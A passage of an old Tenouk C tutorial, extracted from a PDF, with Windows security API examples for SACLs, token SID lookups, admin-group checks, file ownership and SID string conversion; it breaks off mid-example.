

int main()
{
// name of object, here we will add an ACE for a directory
LPTSTR pszObjName = "C:\\Testdir2\\Testdir3";
// type of object, file or directory, a directory

file:///C|/Tutorial.txt (712 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

SE_OBJECT_TYPE ObjectType = SE_FILE_OBJECT;


// access mask for new ACE equal to 0X11000000
// GENERIC_ALL and ACCESS_SYSTEM_SECURITY
DWORD dwAccessRights = 0X11000000;
// type of ACE, set audit for success
ACCESS_MODE AccessMode = SET_AUDIT_SUCCESS;
// inheritance flags for new ACE.
// The OBJECT_INHERIT_ACE and CONTAINER_INHERIT_ACE flags are
// not propagated to an inherited ACE.
DWORD dwInheritance = NO_PROPAGATE_INHERIT_ACE;
// format of trustee structure, the trustee is name
TRUSTEE_FORM TrusteeForm = TRUSTEE_IS_NAME;
// the new trustee for the ACE is set to testuser,
// a normal user
LPTSTR pszTrustee = "testuser";

// Result
DWORD dwRes = 0;
// Existing and new SACL pointers...
PACL pOldSACL = NULL, pNewSACL = NULL;
// Security descriptor
PSECURITY_DESCRIPTOR pSS = NULL;
// EXPLICIT_ACCESS structure
EXPLICIT_ACCESS ea;

// Verify the object name validity


if(pszObjName == NULL)
return ERROR_INVALID_PARAMETER;
else
printf("The object name is OK\n");

LPCTSTR lpszPrivilege = "SeSecurityPrivilege";


// Change this BOOL value to set/unset the SE_PRIVILEGE_ENABLED attribute
BOOL bEnablePrivilege = TRUE;
// Handle to the running process that is this (running) program
HANDLE hToken;

//*************** Get the handle to the process ********************


// Open a handle to the access token for the calling process.
// That is this running program...
if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
printf("OpenProcessToken() error %u\n", GetLastError());
return FALSE;
}
else
printf("OpenProcessToken() is OK\n");

//********************* Enabling privilege ***************************


// Call the user defined SetPrivilege() function to enable privilege
BOOL test = SetPrivilege(hToken, lpszPrivilege, bEnablePrivilege);
// Verify
printf("The SetPrivilege() return value: %d\n\n", test);
//********************* End enabling privilege ************************

// By assuming that we have enabled the required privilege, accomplish

file:///C|/Tutorial.txt (713 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// our task. Here, get a pointer to the existing SACL.


dwRes = GetNamedSecurityInfo(pszObjName, ObjectType,
SACL_SECURITY_INFORMATION,
NULL, NULL, NULL, &pOldSACL, &pSS);

// Verify
if(dwRes != ERROR_SUCCESS)
{
printf("GetNamedSecurityInfo() Error %u\n", dwRes);
Cleanup(pSS, pNewSACL);
}
else
printf("GetNamedSecurityInfo() is OK\n");

// Initialize an EXPLICIT_ACCESS structure for the new ACE.


// For more ACE entries, declare an array of the EXPLICIT_ACCESS structure
ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
ea.grfAccessPermissions = dwAccessRights;
ea.grfAccessMode = AccessMode;
ea.grfInheritance= dwInheritance;
ea.Trustee.TrusteeForm = TrusteeForm;
// Other structure elements that might be needed...
// ea.Trustee.TrusteeType = TRUSTEE_IS_GROUP;
// ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
// The trustee is testuser
ea.Trustee.ptstrName = pszTrustee;

// Create a new ACL that merges the new ACE


// into the existing ACL.
dwRes = SetEntriesInAcl(1, &ea, pOldSACL, &pNewSACL);

if(dwRes != ERROR_SUCCESS)
{
printf("SetEntriesInAcl() error %u\n", dwRes);
Cleanup(pSS, pNewSACL);
}
else
printf("SetEntriesInAcl() is OK\n");

// Attach the new ACL as the object's SACL.


dwRes = SetNamedSecurityInfo(pszObjName, ObjectType,
SACL_SECURITY_INFORMATION, NULL, NULL, NULL, pNewSACL);

if(dwRes != ERROR_SUCCESS)
{
printf("SetNamedSecurityInfo() error %u\n", dwRes);
Cleanup(pSS, pNewSACL);
}
else
printf("SetNamedSecurityInfo() is OK\n\n");

// Disable the privilege


//****************** Disabling privilege *******************
bEnablePrivilege = FALSE;
BOOL test1 = SetPrivilege(hToken, lpszPrivilege, bEnablePrivilege);
printf("The SetPrivilege() return value: %d\n", test1);

file:///C|/Tutorial.txt (714 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//****************** End disabling privilege ***************

// Close the process handle by calling the CloseHandle(hToken)


return 0;
}

------------------------------------------------------------------------------------------------

// Searching for a SID in an Access Token


// This program run on the standalone Windows Xp Pro
// not a domain based machine...

#include <windows.h>
#include <stdio.h>
#define MAX_NAME 256

BOOL SearchTokenGroupsForSID(void)
{
DWORD i, dwSize = 0, dwResult = 0;
HANDLE hToken;
PTOKEN_GROUPS pGroupInfo;
SID_NAME_USE SidType;
char lpName[MAX_NAME];
char lpDomain[MAX_NAME];
BYTE sidBuffer[100];
PSID pSID = (PSID)&sidBuffer;

// Open a handle to the access token for the calling process,


// that is, this running program (process). So we get the handle
// to the token for the current user that run this program and/or login
// to this machine. Depend on your task, change the TOKEN_QUERY to
// others accordingly...
if(!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
{
printf("OpenProcessToken() error %u\n", GetLastError());
return FALSE;
}
else
printf("OpenProcessToken() for the current process is OK\n");

// By assuming that we got the handle to the token...


// Call GetTokenInformation() to get the buffer size for storage.
// This is for Tokengroups, change accordingly for others such as
// TokenUser, TokenOwner, TokenType etc
if(!GetTokenInformation(hToken, TokenGroups, NULL, dwSize, &dwSize))
{
dwResult = GetLastError();

if(dwResult != ERROR_INSUFFICIENT_BUFFER)
{
printf("GetTokenInformation() error %u\n", dwResult);
return FALSE;
}
else
printf("GetTokenInformation() for the buffer size is OK\n");
}

file:///C|/Tutorial.txt (715 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

else
printf("GetTokenInformation() for storage of the Token group is OK\n");

// By assuming that we got the storage, then allocate the buffer.


pGroupInfo = (PTOKEN_GROUPS) GlobalAlloc(GPTR, dwSize);

// Call GetTokenInformation() again to get the group information.


if(!GetTokenInformation(hToken, TokenGroups, pGroupInfo, dwSize, &dwSize))
{
printf("GetTokenInformation() error %u\n", GetLastError());
return FALSE;
}
else
printf("GetTokenInformation() for getting the TokenGroups is OK\n");

//****************** Playing with SIDs *****************************


// Create a SID for the BUILTIN\Administrators group...
// You can try other groups also lol as commented out on the following
// codes. Uncomment/comment out the SIDs for testing....
// This is 32 bit RID value. Applications that require longer RID values,
// use CreateWellKnownSid() instead

//*********************** Administrator group ***********************


SID_IDENTIFIER_AUTHORITY SIDAuth = SECURITY_NT_AUTHORITY;

if(!AllocateAndInitializeSid(&SIDAuth, 2,
SECURITY_BUILTIN_DOMAIN_RID,
DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0,
&pSID))
{
printf("AllocateAndInitializeSid() error %u\n", GetLastError());
return FALSE;
}
else
printf("AllocateAndInitializeSid(), SID for BUILTIN\\Administrators group is\n successfully created\n");

//************************ Local group ********************


// An example for creating a SID for the Local group...
// SID_IDENTIFIER_AUTHORITY SIDAuth = SECURITY_LOCAL_SID_AUTHORITY;
//
// if(!AllocateAndInitializeSid(&SIDAuth, 1,
// SECURITY_LOCAL_RID,
// 0, 0, 0, 0, 0, 0, 0,
// &pSID))
// {
// printf("AllocateAndInitializeSid() error %u\n", GetLastError());
// return FALSE;
// }
// else
// printf("AllocateAndInitializeSid(), SID for Local group is\n successfully created\n");

//********************* Authenticated users ***********************


// Another example for creating a SID for the Authenticated users...
// SID_IDENTIFIER_AUTHORITY SIDAuth = SECURITY_NT_AUTHORITY;
// if(!AllocateAndInitializeSid(&SIDAuth, 1,

file:///C|/Tutorial.txt (716 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// SECURITY_AUTHENTICATED_USER_RID,
// 0, 0, 0, 0, 0, 0, 0,
// &pSID))
// {
// printf("AllocateAndInitializeSid() error %u\n", GetLastError());
// return FALSE;
// }
// else
// printf("AllocateAndInitializeSid(), SID for Local group is\n successfully created\n");
//******************************************************************

// Loop through the group SIDs looking for the created group SID.
for(i=0; i<pGroupInfo->GroupCount; i++)
{
// Compare the created SID with the available group SIDs
if(EqualSid(pSID, pGroupInfo->Groups[i].Sid))
{
// Lookup the account name and print it.
dwSize = MAX_NAME;
if(!LookupAccountSid(NULL, pGroupInfo->Groups[i].Sid, lpName, &dwSize, lpDomain, &dwSize, &SidType))
{
// If not found or something wrong...
dwResult = GetLastError();
if(dwResult == ERROR_NONE_MAPPED)
strcpy(lpName, "NONE_MAPPED");
else
{
printf("LookupAccountSid() error %u\n", GetLastError());
return FALSE;
}
}
// If found...
else
{
//******************* Built-in\Administrators group *********************
printf("LookupAccountSid() for BUILTIN\\Administrators group is OK\n");
printf("Current user is a member of the %s\\%s group\n", lpDomain, lpName);
//******************* Local group ***************************************
// printf("LookupAccountSid() for Local group is OK\n");
// printf("Current user is a member of the %s group\n", lpName);
//******************** Authenticated users *******************************
// printf("LookupAccountSid() for Authenticated users is OK\n");
// printf("Current user is a member of the %s\\%s group\n", lpDomain, lpName);

}
//**************** End playing with SIDs *********************************

// Find out whether the SID is enabled in the token.


if(pGroupInfo->Groups[i].Attributes & SE_GROUP_ENABLED)
printf("The group SID is enabled.\n");

else if (pGroupInfo->Groups[i].Attributes & SE_GROUP_USE_FOR_DENY_ONLY)


printf("The group SID is a deny-only SID.\n");
else
printf("The group SID is not enabled.\n");
}

file:///C|/Tutorial.txt (717 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

}
// Release resources back to system
if(pSID)
FreeSid(pSID);
if(pGroupInfo)
GlobalFree(pGroupInfo);
return TRUE;
}

//******** main() ********


int main()
{
// Call the user defined SearchTokenGroupsForSID() function
// to search the token group SID
BOOL test = SearchTokenGroupsForSID();
// Verify
printf("The return value of SearchTokenGroupsForSID() is: %d\n", test);
return 0;
}

------------------------------------------------------------------------------------------------

#include <windows.h>
#include <stdio.h>

BOOL IsUserAdminGrp(void)
/*
This routine returns TRUE if the caller's process
is a member of the Administrators local group. Caller is NOT expected
to be impersonating anyone and is expected to be able to open its own
process and process token.
Arguments: None.
Return Value:
TRUE - Caller has Administrators local group.
FALSE - Caller does not have Administrators local group.
*/
{
BOOL check;
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
PSID AdministratorsGroup;
check = AllocateAndInitializeSid(
&NtAuthority,
2,
SECURITY_BUILTIN_DOMAIN_RID,
DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0,
&AdministratorsGroup);

if(check)
{
printf("AllocateAndInitializeSid() is OK\n");
if(!CheckTokenMembership(
NULL, // uses the impersonation token of the calling thread.
// If the thread is not impersonating, the function duplicates
// the thread's primary token to create an impersonation token.
AdministratorsGroup, // Pointer to a SID structure

file:///C|/Tutorial.txt (718 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

&check // Result of the SID


))
{
// If the SID (the 2nd parameter) is present
// and has the SE_GROUP_ENABLED attribute,
// IsMember (3rd paramaeter) returns TRUE; otherwise, it returns FALSE.
printf("The received value of the third parameter: %u\n", check);
check = FALSE;
printf("CheckTokenMembership() is NOT OK\n");
}
else
printf("CheckTokenMembership() is OK\n");
printf("You are Administrators Local Group lol!\n");
printf("The received value of the third parameter: %u, last error if any: %u\n",
check, GetLastError());
FreeSid(AdministratorsGroup);
}
else
printf("AllocateAndInitializeSid() is NOT OK\n");

return(check);
}

int main()
{
BOOL test = IsUserAdminGrp();
printf("The return value of the IsUserAdminGrp(): %u, last error if any: %u\n", test, GetLastError());
return 0;
}

---------------------------------------------------------------------------------------------------------------

// Finding the Owner of a File Object


#include <windows.h>
#include <stdio.h>
#include <aclapi.h>

int main(int argc, char *argv[])


{
DWORD dwRtnCode = 0;
PSID pSidOwner;
BOOL bRtnBool = TRUE;
// Dummy initial value, no string...
LPTSTR AcctName = "", DomainName = "";
DWORD dwAcctName = 1, dwDomainName = 1;
// Dummy initial value, just use the defined one but unknown
SID_NAME_USE eUse = SidTypeUnknown;
HANDLE hFile;
PSECURITY_DESCRIPTOR pSD;

// Get the handle of the file object.


hFile = CreateFile(
"D:\\testfile.doc", // The file name and the path if any
GENERIC_READ, // Access right
FILE_SHARE_READ, // Share mode
NULL, // Security attribute for inherited or not by child

file:///C|/Tutorial.txt (719 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

OPEN_EXISTING, // Open the file, fail if not exist


FILE_ATTRIBUTE_NORMAL, // file attribute flag, Normal
NULL); // Handle to template file if GENERIC_READ right access

// Check GetLastError() for CreateFile()...


if(hFile == INVALID_HANDLE_VALUE)
{
printf("CreateFile() error = %d\n", GetLastError());
return -1;
}
else
printf("Handle to CreateFile() is OK\n");

// Allocate memory for the SID structure.


pSidOwner = (PSID)GlobalAlloc(GMEM_FIXED, sizeof(PSID));

// Allocate memory for the security descriptor structure.


pSD = (PSECURITY_DESCRIPTOR)GlobalAlloc(GMEM_FIXED, sizeof(PSECURITY_DESCRIPTOR));

// Get the owner SID of the file. Try for other object such as
// SE_SERVICE, SE_PRINTER, SE_REGISTRY_KEY, SE_KERNEL_OBJECT, SE_WINDOW_OBJECT etc.
// for 2nd parameter and 3rd parameter such as DACL_SECURITY_INFORMATION,
// GROUP_SECURITY_INFORMATION and SACL_SECURITY_INFORMATION
dwRtnCode = GetSecurityInfo(
hFile, // Handle to the file
SE_FILE_OBJECT, // Directory or file
OWNER_SECURITY_INFORMATION, // Owner information of the (file) object
&pSidOwner, // Pointer to the owner of the (file) object
NULL,
NULL,
NULL,
&pSD); // Pointer to the security descriptor of the (file) object

// Check GetLastError for GetSecurityInfo error condition.


if(dwRtnCode != ERROR_SUCCESS)
{
printf("GetSecurityInfo error = %d\n", GetLastError());
return -1;
}
else
printf("GetSecurityInfo() is OK\n");

// First call to LookupAccountSid() to get the buffer sizes AcctName.


bRtnBool = LookupAccountSid(
NULL, // Local computer
pSidOwner, // Pointer to the SID to lookup for
AcctName, // The account name of the SID (pSIDOwner)
(LPDWORD)&dwAcctName, // Size of the AcctName in TCHAR
DomainName, // Pointer to the name of the Domain where the account name was found
(LPDWORD)&dwDomainName, // Size of the DomainName in TCHAR
&eUse); // Value of the SID_NAME_USE enum type that specify the SID type

// Reallocate memory for the buffers.


AcctName = (char *)GlobalAlloc(GMEM_FIXED, dwAcctName);

// Check GetLastError() for GlobalAlloc() error condition.

file:///C|/Tutorial.txt (720 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

if(AcctName == NULL)
{
printf("GlobalAlloc() error = %d\n", GetLastError());
return -1;
}
else
printf("Buffer allocation for AcctName is OK\n");

DomainName = (char *)GlobalAlloc(GMEM_FIXED, dwDomainName);

// Check GetLastError() for GlobalAlloc() error condition.


if(DomainName == NULL)
{
printf("GlobalAlloc() error = %d\n", GetLastError());
return -1;
}
else
printf("Buffer allocation for DomainName is OK\n");

// Second call to LookupAccountSid() to get the account name.


bRtnBool = LookupAccountSid(
NULL, // name of local or remote computer
pSidOwner, // security identifier, SID
AcctName, // account name buffer
(LPDWORD)&dwAcctName, // size of account name buffer
DomainName, // domain name
(LPDWORD)&dwDomainName, // size of domain name buffer
&eUse); // SID type

// Check GetLastError() for LookupAccountSid() error condition.


if(bRtnBool == FALSE)
{
DWORD dwErrorCode = 0;
dwErrorCode = GetLastError();

if(dwErrorCode == ERROR_NONE_MAPPED)
printf("Account owner not found for specified SID.\n");
else
{
printf("Error in LookupAccountSid().\n");
return -1;
}
} else if (bRtnBool == TRUE)
// Print the account name.
printf("Account owner = %s\n", AcctName);

CloseHandle(hFile);

return 0;
}

----------------------------------------------------------------------------------------------------------------

// Taking object ownership


#include <windows.h>
#include <stdio.h>

file:///C|/Tutorial.txt (721 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

#include <accctrl.h>
#include <aclapi.h>

//****** Cleanup routine **********


void Cleanup(PSID pSIDAdmin, PSID pSIDEveryone, PACL pACL, HANDLE hToken)
{
if(pSIDAdmin)
FreeSid(pSIDAdmin);

if(pSIDEveryone)
FreeSid(pSIDEveryone);

if(pACL)
LocalFree(pACL);

if(hToken)
CloseHandle(hToken);
}

//************ Enabling/disabling the privilege ****************


BOOL SetPrivilege(
HANDLE hToken, // access token handle
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
BOOL bEnablePrivilege // to enable (or disable privilege)
)
{
TOKEN_PRIVILEGES tp;
LUID luid;

if(!LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) // receives LUID of privilege
{
printf("LookupPrivilegeValue() of %s error: %u\n", lpszPrivilege, GetLastError());
return FALSE;
}
else
printf("LookupPrivilegeValue() of %s is OK\n", lpszPrivilege);

tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;

// Don't forget to disable the privilege after you enable them,


// don't mess up your system :-). Change the bEnablePrivilege to
// TRUE or FALSE to enable or disable the privilege respectively
if(bEnablePrivilege)
{
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
printf("tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED\n");
}
else
{
tp.Privileges[0].Attributes = 0;
printf("tp.Privileges[0].Attributes = 0\n");
}

file:///C|/Tutorial.txt (722 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// Enable the privilege (or disable all privileges).


if(!AdjustTokenPrivileges(
hToken,
FALSE, // If TRUE, function disables all privileges, if FALSE
// the function modifies privileges based on the tp
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL))
{
printf("AdjustTokenPrivileges() error: %u\n\n", GetLastError());
return FALSE;
}
else
{
printf("AdjustTokenPrivileges() is OK, last error if any: %u\n", GetLastError());
printf("Should be 0, means the operation completed successfully = ERROR_SUCCESS\n\n");
return TRUE;
}
}

//********** Take ownership routine *************


BOOL TakeOwnership(LPTSTR lpszDir)
{
// Return value
BOOL bRetval = FALSE;
// Handle to token
HANDLE hToken = NULL;
// Pointer to SID for Administrators group
PSID pSIDAdmin = NULL;
// Pointer to SID for Everyone group
PSID pSIDEveryone = NULL;
// Pointer to access control list
PACL pACL = NULL;
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
SID_IDENTIFIER_AUTHORITY SIDAuthNT = SECURITY_NT_AUTHORITY;
const int NUM_ACCESS = 2;
// Explicit access arrays structure. Here only two entries.
// Change the array size for more entries
EXPLICIT_ACCESS ea[NUM_ACCESS];
// Result
DWORD dwRes;

// Specify the DACL to use. Allow write for Everyone and full
// control for Administrators group.
// Create a SID for the Everyone group.
if(!AllocateAndInitializeSid(&SIDAuthWorld, 1,
SECURITY_WORLD_RID,
0,
0, 0, 0, 0, 0, 0,
&pSIDEveryone))
{
printf("AllocateAndInitializeSid() for Everyone group error %u\n", GetLastError());
Cleanup(pSIDAdmin, pSIDEveryone, pACL, hToken);
}

file:///C|/Tutorial.txt (723 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

else
printf("AllocateAndInitializeSid() for Everyone group is OK\n");

// Create a SID for the BUILTIN\Administrators group.


if(!AllocateAndInitializeSid(&SIDAuthNT, 2,
SECURITY_BUILTIN_DOMAIN_RID,
DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0,
&pSIDAdmin))
{
printf("AllocateAndInitializeSid() for Administrators group error %u\n\n", GetLastError());
Cleanup(pSIDAdmin, pSIDEveryone, pACL, hToken);
}
else
printf("AllocateAndInitializeSid() for Administrators group is OK\n\n");

ZeroMemory(&ea, NUM_ACCESS * sizeof(EXPLICIT_ACCESS));

//***************** EXPLICIT ACCESS structure ******************


// Construct the structure, add other entries as needed by changing the array size
// Set write access for Everyone.
ea[0].grfAccessPermissions = GENERIC_WRITE;
ea[0].grfAccessMode = SET_ACCESS;
ea[0].grfInheritance = NO_INHERITANCE;
ea[0].Trustee.TrusteeForm = TRUSTEE_IS_SID;
ea[0].Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
ea[0].Trustee.ptstrName = (LPTSTR) pSIDEveryone;

// Set full control for Administrators.


ea[1].grfAccessPermissions = GENERIC_ALL;
ea[1].grfAccessMode = SET_ACCESS;
ea[1].grfInheritance = NO_INHERITANCE;
ea[1].Trustee.TrusteeForm = TRUSTEE_IS_SID;
ea[1].Trustee.TrusteeType = TRUSTEE_IS_GROUP;
ea[1].Trustee.ptstrName = (LPTSTR) pSIDAdmin;

//**************************************************************
if(SetEntriesInAcl(NUM_ACCESS, ea, NULL, &pACL) != ERROR_SUCCESS)
{
printf("SetEntriesInAcl() for Everyone and Administrators group is NOT OK\n");
Cleanup(pSIDAdmin, pSIDEveryone, pACL, hToken);
}
else
printf("SetEntriesInAcl() Everyone and Administrators group is OK\n");

//***************************************************************
// Try to modify the object's DACL.
dwRes = SetNamedSecurityInfo(
lpszDir, // name of the object
SE_FILE_OBJECT, // type of object, directory
DACL_SECURITY_INFORMATION, // change only the object's DACL
NULL, NULL, // do not change owner or group
pACL, // DACL specified
NULL); // do not change SACL

if(dwRes == ERROR_SUCCESS)

file:///C|/Tutorial.txt (724 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

{
printf("SetNamedSecurityInfo()-Modifying the DACL is OK, return value: %u\n\n", dwRes);
printf("Successfully changed DACL\n");
// No more processing needed.
// Just return/exit
bRetval = TRUE;
Cleanup(pSIDAdmin, pSIDEveryone, pACL, hToken);
}
else if (dwRes == ERROR_ACCESS_DENIED)
{
printf("SetNamedSecurityInfo()-Modifying the DACL is NOT OK\n");
printf("If return value is 5, it is \"Access is denied\" (ERROR_ACCESS_DENIED)\n");
printf("Please get a proper permission!\n\n");

// If the previous call failed because access was denied,


// enable the SE_TAKE_OWNERSHIP_NAME privilege, create a SID for
// the Administrators group, take ownership of the object, and
// disable the privilege. Then try again to set the object's DACL.

//**********************************************************************
// Open a handle to the access token for the calling process
// that is the currently login access token
if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
printf("OpenProcessToken()-Getting the handle to access token failed: %u\n", GetLastError());
Cleanup(pSIDAdmin, pSIDEveryone, pACL, hToken);
}
else
printf("OpenProcessToken()-Getting the handle to access token is OK\n");

//**********************************************************************
// Enable the SE_TAKE_OWNERSHIP_NAME privilege.
if(!SetPrivilege(hToken, SE_TAKE_OWNERSHIP_NAME, TRUE))
{
// Verify the login
printf("You must be logged on as Administrator.\n");
printf("SetPrivilege()-Enable the SE_TAKE_OWNERSHIP_NAME privilege is NOT OK\n");
Cleanup(pSIDAdmin, pSIDEveryone, pACL, hToken);
}
else
{
printf("Your login credential is OK\n");
printf("SetPrivilege()-Enable the SE_TAKE_OWNERSHIP_NAME privilege is OK\n");
}

//*********************************************************************
// Set the new owner in the object's security descriptor.
dwRes = SetNamedSecurityInfo(
lpszDir, // name of the object
SE_FILE_OBJECT, // type of object
OWNER_SECURITY_INFORMATION, // change only the object's owner
pSIDAdmin, // SID of Administrator group
NULL,
NULL,
NULL);

file:///C|/Tutorial.txt (725 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

if(dwRes != ERROR_SUCCESS)
{
printf("SetNamedSecurityInfo()-Could not set the new owner, error: %u\n", dwRes);
Cleanup(pSIDAdmin, pSIDEveryone, pACL, hToken);
}
else
printf("SetNamedSecurityInfo()-Changing the owner is OK\n");

//***********************************************************************
// Try again to modify the object's DACL, now that we are the owner.
dwRes = SetNamedSecurityInfo(
lpszDir, // name of the object
SE_FILE_OBJECT, // type of object
DACL_SECURITY_INFORMATION, // change only the object's DACL
NULL, NULL, // do not change owner or group
pACL, // DACL specified
NULL); // do not change SACL

if(dwRes == ERROR_SUCCESS)
{
printf("SetNamedSecurityInfo()-Successfully changed the DACL\n");
bRetval = TRUE;
}
else
{
printf("SetNamedSecurityInfo()-Failed changing the DACL, return value: %u\n", dwRes);
}

//**********************************************************************
// Verify that the SE_TAKE_OWNERSHIP_NAME privilege is disabled.
if(SetPrivilege(hToken, SE_TAKE_OWNERSHIP_NAME, FALSE))
{
printf("SetPrivilege()-Disable the SE_TAKE_OWNERSHIP_NAME privilege is OK.\n");
Cleanup(pSIDAdmin, pSIDEveryone, pACL, hToken);
}
else
{
printf("SetPrivilege()-Disable the SE_TAKE_OWNERSHIP_NAME privilege is NOT OK.\n");
printf("Or the privilege might be already disabled\n");
}
}
return bRetval;
}

//******* main() *******


int main()
{
LPTSTR lpszDir = "E:\\Testfolder";
BOOL test = TakeOwnership(lpszDir);
printf("\nTakeOwnership() return value: %u\n", test);
return 0;
}

==============================ModuleL=====================================
| |
| The program examples' source codes have been arranged in the same |

file:///C|/Tutorial.txt (726 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

| order that appeared in the Tutorial. This is unedited and unverified |


| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================

Compiled using VC++/VC++ .Net.....unmanaged...

// Playing with SID format


// For Win Xp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
#include <sddl.h>
#include <aclapi.h>

int main()
{
DWORD SidSize, SidSize2;
PSID TheSID = NULL;
LPTSTR pSid = "";

SidSize = SECURITY_MAX_SID_SIZE;

printf("Create a well known \"WinLocalSystemSid\" SID.\n");


printf("--------------------------------------------\n");
// Allocate enough memory for the largest possible SID.
if(!(TheSID = LocalAlloc(LMEM_FIXED, SidSize)))
{
printf("Could not allocate memory, error %u.\n", GetLastError());
// Just exit
exit(1);
}
else
printf("Memory allocated successfully.\n");

// Create a SID for the Local system on the local computer.


if(!CreateWellKnownSid(
WinLocalSystemSid, // Well known Local system SID
NULL, // Domain SID, NULL for local computer
TheSID, // Pointer to memory for new SID
&SidSize // Pointer in DWORD the number of byte of TheSid
))
{
printf("CreateWellKnownSid() error %u.\n\n", GetLastError());
}
else
{
printf("CreateWellKnownSid() for Local system is OK.\n\n", GetLastError());

file:///C|/Tutorial.txt (727 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

printf("Convert the \"WinLocalSystemSid\" SID to string SID.\n");


printf("--------------------------------------------------\n");
// Get the string version of the SID (S-R-I-I...)
if(!(ConvertSidToStringSid(
TheSID, // Pointer to the SID structure to be converted
&pSid))) // Pointer to variable that receives the null-terminated SID string
{
printf("ConvertSidToStringSid() error %u\n", GetLastError());
exit(1);
}
else
{
printf("ConvertSidToStringSid() is OK.\n");
printf("The SID string for WinLocalSystemSid is: %s\n", pSid);
}
}

if(IsValidSid(TheSID))
printf("The SID is valid\n");
else
printf("The SID is not valid!\n");

//**********************************************************
// TODO: Then, use the string SID as needed.
// ...
// When done, don't forget to release the memory used.
//**********************************************************

if(LocalFree(TheSID) == NULL)
printf("Memory is freed up...\n");

//************************************************************

LPTSTR StringSid = "S-1-5-18"; // or "SY" - a well known Local System


PSID TheSID2 = NULL;
SidSize2 = SECURITY_MAX_SID_SIZE;

// S-R-5-18 and equal to...


// SECURITY_NT_AUTHORITY\\SECURITY_LOCAL_SYSTEM_RID
// But they are stored as in binary format in a SID structure
printf("\nConvert the \"S-1-5-18\" string SID to SID and then reconvert.\n");
printf("------------------------------------------------------------\n");
if(!(TheSID2 = LocalAlloc(LMEM_FIXED, SidSize2)))
{
printf("Could not allocate memory, error %u.\n", GetLastError());
exit(1);
}
else
printf("Memory allocated successfully.\n");

//*************************************************
if(!ConvertStringSidToSid(
StringSid, // Pointer to a null-terminated string
// containing the string-format SID to convert
&TheSID2)) // Pointer to a variable that receives a pointer to the converted SID
{

file:///C|/Tutorial.txt (728 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

printf("ConvertStringSidToSid() for Local system error %u\n", GetLastError());


exit(1);
}
else
{
printf("ConvertStringSidToSid() for Local system is OK.\n");
}

if(!(ConvertSidToStringSid(
TheSID2, // Pointer to the SID structure to be converted
&StringSid))) // Pointer to variable that receives the null-terminated SID string
{
printf("Reconversion-ConvertSidToStringSid() error %u\n", GetLastError());
exit(1);
}
else
{
printf("Reconversion-ConvertSidToStringSid() is OK.\n");
printf("The SID string for WinLocalSystemSid is: %s\n", pSid);
}

if(IsWellKnownSid(TheSID2, WinLocalSystemSid))
printf("The SID is a well known SID.\n");
else
printf("It is non well known SID, error %u.\n", GetLastError());

//**************************************************
if(IsValidSid(TheSID2))
printf("The SID is valid.\n");
else
printf("The SID is not valid!, error %u\n", GetLastError());

if(LocalFree(TheSID2) == NULL)
printf("Memory is freed up...\n");
return 0;
}

-------------------------------------------------------------------------------------------------------

// Getting the Logon SID


// For Win Xp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
#include <sddl.h>
#include <aclapi.h>

//************************************************************
void Cleanup(PTOKEN_GROUPS ptgrp)
{
// Release the buffer for the token groups.
if(ptgrp != NULL)
HeapFree(GetProcessHeap(), 0, (LPVOID)ptgrp);
}
//***************************************************************

file:///C|/Tutorial.txt (729 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//**************************************************************
// Get the logon SID and convert it to SID string...
BOOL GetLogonSID(HANDLE hToken, PSID ppsid)
{
BOOL bSuccess = FALSE;
DWORD dwIndex;
DWORD dwLength = 0;
PTOKEN_GROUPS ptgrp = NULL;
// Again, dummy initialization...
LPTSTR pSid = "";

// Verify the parameter passed in is not NULL.


// Although we just provide an empty buffer...
if(ppsid == NULL)
{
printf("The ppsid pointer is NULL lol!\n");
Cleanup(ptgrp);
}
else
printf("The ppsid pointer is OK.\n");

